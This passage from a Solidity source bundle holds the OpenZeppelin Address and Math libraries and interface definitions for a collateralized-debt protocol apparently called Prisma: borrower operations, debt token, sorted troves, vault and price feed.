@dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"contracts/interfaces/IBorrowerOperations.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBorrowerOperations {\n struct Balances {\n uint256[] collaterals;\n uint256[] debts;\n uint256[] prices;\n }\n\n event BorrowingFeePaid(address indexed borrower, uint256 amount);\n event CollateralConfigured(address troveManager, address collateralToken);\n event TroveCreated(address indexed _borrower, uint256 arrayIndex);\n event TroveManagerRemoved(address troveManager);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 stake, uint8 operation);\n\n function addColl(\n address troveManager,\n address account,\n uint256 _collateralAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function adjustTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collDeposit,\n uint256 _collWithdrawal,\n uint256 _debtChange,\n bool _isDebtIncrease,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n\n function configureCollateral(address troveManager, address collateralToken) external;\n\n function fetchBalances() external returns (Balances memory balances);\n\n function getGlobalSystemBalances() external returns (uint256 totalPricedCollateral, uint256 totalDebt);\n\n function getTCR() external returns (uint256 globalTotalCollateralRatio);\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function removeTroveManager(address troveManager) external;\n\n function repayDebt(\n address troveManager,\n address account,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function setMinNetDebt(uint256 _minNetDebt) external;\n\n function withdrawColl(\n address troveManager,\n address account,\n uint256 _collWithdrawal,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function withdrawDebt(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function checkRecoveryMode(uint256 TCR) external pure returns (bool);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function _100pct() external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function factory() external view returns (address);\n\n function getCompositeDebt(uint256 _debt) external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function isApprovedDelegate(address owner, address caller) external view returns (bool isApproved);\n\n function minNetDebt() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function troveManagersData(address) external view returns (address collateralToken, uint16 index);\n}\n"
},
"contracts/interfaces/IDebtToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDebtToken {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint256 _amount);\n event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);\n event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes _toAddress, uint256 _amount);\n event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint256 _minDstGas);\n event SetPrecrime(address precrime);\n event SetTrustedRemote(uint16 _remoteChainId, bytes _path);\n event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);\n event SetUseCustomAdapterParams(bool _useCustomAdapterParams);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function burn(address _account, uint256 _amount) external;\n\n function burnWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n\n function enableTroveManager(address _troveManager) external;\n\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n\n function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n\n function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;\n\n function mint(address _account, uint256 _amount) external;\n\n function mintWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function nonblockingLzReceive(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external;\n\n function permit(\n address owner,\n address spender,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function renounceOwnership() external;\n\n function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external;\n\n function sendToSP(address _sender, uint256 _amount) external;\n\n function setConfig(uint16 _version, uint16 _chainId, uint256 _configType, bytes calldata _config) external;\n\n function setMinDstGas(uint16 _dstChainId, uint16 _packetType, uint256 _minGas) external;\n\n function setPayloadSizeLimit(uint16 _dstChainId, uint256 _size) external;\n\n function setPrecrime(address _precrime) external;\n\n function setReceiveVersion(uint16 _version) external;\n\n function setSendVersion(uint16 _version) external;\n\n function setTrustedRemote(uint16 _srcChainId, bytes calldata _path) external;\n\n function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external;\n\n function setUseCustomAdapterParams(bool _useCustomAdapterParams) external;\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function retryMessage(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external payable;\n\n function sendFrom(\n address _from,\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n address _refundAddress,\n address _zroPaymentAddress,\n bytes calldata _adapterParams\n ) external payable;\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DEFAULT_PAYLOAD_SIZE_LIMIT() external view returns (uint256);\n\n function FLASH_LOAN_FEE() external view returns (uint256);\n\n function NO_EXTRA_GAS() external view returns (uint256);\n\n function PT_SEND() external view returns (uint16);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function circulatingSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function domainSeparator() external view returns (bytes32);\n\n function estimateSendFee(\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n bool _useZro,\n bytes calldata _adapterParams\n ) external view returns (uint256 nativeFee, uint256 zroFee);\n\n function factory() external view returns (address);\n\n function failedMessages(uint16, bytes calldata, uint64) external view returns (bytes32);\n\n function flashFee(address token, uint256 amount) external view returns (uint256);\n\n function gasPool() external view returns (address);\n\n function getConfig(\n uint16 _version,\n uint16 _chainId,\n address,\n uint256 _configType\n ) external view returns (bytes memory);\n\n function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory);\n\n function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);\n\n function lzEndpoint() external view returns (address);\n\n function maxFlashLoan(address token) external view returns (uint256);\n\n function minDstGasLookup(uint16, uint16) external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function nonces(address owner) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function payloadSizeLimitLookup(uint16) external view returns (uint256);\n\n function permitTypeHash() external view returns (bytes32);\n\n function precrime() external view returns (address);\n\n function stabilityPoolAddress() external view returns (address);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n function symbol() external view returns (string memory);\n\n function token() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function troveManager(address) external view returns (bool);\n\n function trustedRemoteLookup(uint16) external view returns (bytes memory);\n\n function useCustomAdapterParams() external view returns (bool);\n\n function version() external view returns (string memory);\n}\n"
},
"contracts/interfaces/ISortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISortedTroves {\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external;\n\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external;\n\n function remove(address _id) external;\n\n function setAddresses(address _troveManagerAddress) external;\n\n function contains(address _id) external view returns (bool);\n\n function data() external view returns (address head, address tail, uint256 size);\n\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address);\n\n function getFirst() external view returns (address);\n\n function getLast() external view returns (address);\n\n function getNext(address _id) external view returns (address);\n\n function getPrev(address _id) external view returns (address);\n\n function getSize() external view returns (uint256);\n\n function isEmpty() external view returns (bool);\n\n function troveManager() external view returns (address);\n\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool);\n}\n"
},
"contracts/interfaces/IVault.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaVault {\n struct InitialAllowance {\n address receiver;\n uint256 amount;\n }\n\n event BoostCalculatorSet(address boostCalculator);\n event BoostDelegationSet(address indexed boostDelegate, bool isEnabled, uint256 feePct, address callback);\n event EmissionScheduleSet(address emissionScheduler);\n event IncreasedAllocation(address indexed receiver, uint256 increasedAmount);\n event NewReceiverRegistered(address receiver, uint256 id);\n event ReceiverIsActiveStatusModified(uint256 indexed id, bool isActive);\n event UnallocatedSupplyIncreased(uint256 increasedAmount, uint256 unallocatedTotal);\n event UnallocatedSupplyReduced(uint256 reducedAmount, uint256 unallocatedTotal);\n\n function allocateNewEmissions(uint256 id) external returns (uint256);\n\n function batchClaimRewards(\n address receiver,\n address boostDelegate,\n address[] calldata rewardContracts,\n uint256 maxFeePct\n ) external returns (bool);\n\n function increaseUnallocatedSupply(uint256 amount) external returns (bool);\n\n function registerReceiver(address receiver, uint256 count) external returns (bool);\n\n function setBoostCalculator(address _boostCalculator) external returns (bool);\n\n function setBoostDelegationParams(bool isEnabled, uint256 feePct, address callback) external returns (bool);\n\n function setEmissionSchedule(address _emissionSchedule) external returns (bool);\n\n function setInitialParameters(\n address _emissionSchedule,\n address _boostCalculator,\n uint256 totalSupply,\n uint64 initialLockWeeks,\n uint128[] calldata _fixedInitialAmounts,\n InitialAllowance[] calldata initialAllowances\n ) external;\n\n function setReceiverIsActive(uint256 id, bool isActive) external returns (bool);\n\n function transferAllocatedTokens(address claimant, address receiver, uint256 amount) external returns (bool);\n\n function transferTokens(address token, address receiver, uint256 amount) external returns (bool);\n\n function PRISMA_CORE() external view returns (address);\n\n function allocated(address) external view returns (uint256);\n\n function boostCalculator() external view returns (address);\n\n function boostDelegation(address) external view returns (bool isEnabled, uint16 feePct, address callback);\n\n function claimableRewardAfterBoost(\n address account,\n address receiver,\n address boostDelegate,\n address rewardContract\n ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate);\n\n function emissionSchedule() external view returns (address);\n\n function getClaimableWithBoost(address claimant) external view returns (uint256 maxBoosted, uint256 boosted);\n\n function getWeek() external view returns (uint256 week);\n\n function guardian() external view returns (address);\n\n function idToReceiver(uint256) external view returns (address account, bool isActive);\n\n function lockWeeks() external view returns (uint64);\n\n function locker() external view returns (address);\n\n function owner() external view returns (address);\n\n function claimableBoostDelegationFees(address claimant) external view returns (uint256 amount);\n\n function prismaToken() external view returns (address);\n\n function receiverUpdatedWeek(uint256) external view returns (uint16);\n\n function totalUpdateWeek() external view returns (uint64);\n\n function unallocatedTotal() external view returns (uint128);\n\n function voter() external view returns (address);\n\n function weeklyEmissions(uint256) external view returns (uint128);\n}\n"
},
"contracts/interfaces/IPriceFeed.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPriceFeed {\n event NewOracleRegistered(address token, address chainlinkAggregator, bool isEthIndexed);\n event PriceFeedStatusUpdated(address token, address oracle, bool isWorking);\n event PriceRecordUpdated(address indexed token, uint256 _price);\n\n function fetchPrice(address _token) external returns (uint256);\n\n function setOracle(\n address _token,\n address _chainlinkOracle,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool _isEthIndexed\n ) external;\n\n function MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function RESPONSE_TIMEOUT() external view returns (uint256);\n\n function TARGET_DIGITS() external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function oracleRecords(\n address\n )\n external\n view\n returns (\n address chainLinkOracle,\n uint8 decimals,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool isFeedWorking,\n bool isEthIndexed\n );\n\n function owner() external view returns (address);\n\n function priceRecords(\n address\n ) external view returns (uint96 scaledPrice, uint32 timestamp, uint32 lastUpdated, uint80 roundId);\n}\n"
},
"contracts/interfaces/IPrismaCallbacks.sol": {
